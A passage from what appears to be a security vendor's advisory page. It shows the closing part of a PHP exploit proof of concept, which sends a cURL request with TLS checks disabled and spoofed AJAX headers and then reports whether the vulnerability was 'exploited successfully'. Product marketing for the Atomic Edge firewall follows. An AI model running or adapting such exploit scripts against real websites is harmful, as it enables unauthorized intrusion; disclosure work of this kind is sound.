curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Set headers to mimic legitimate AJAX request
$headers = array(
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'X-Requested-With: XMLHttpRequest',
    'Accept: application/json, text/javascript, */*; q=0.01'
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: $http_coden";
echo "Response: $responsen";

// Check for success indicators
if ($http_code == 200 && strpos($response, 'success') !== false) {
    echo "[+] Vulnerability likely exploited successfullyn";
} else {
    echo "[-] Exploit attempt may have failedn";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School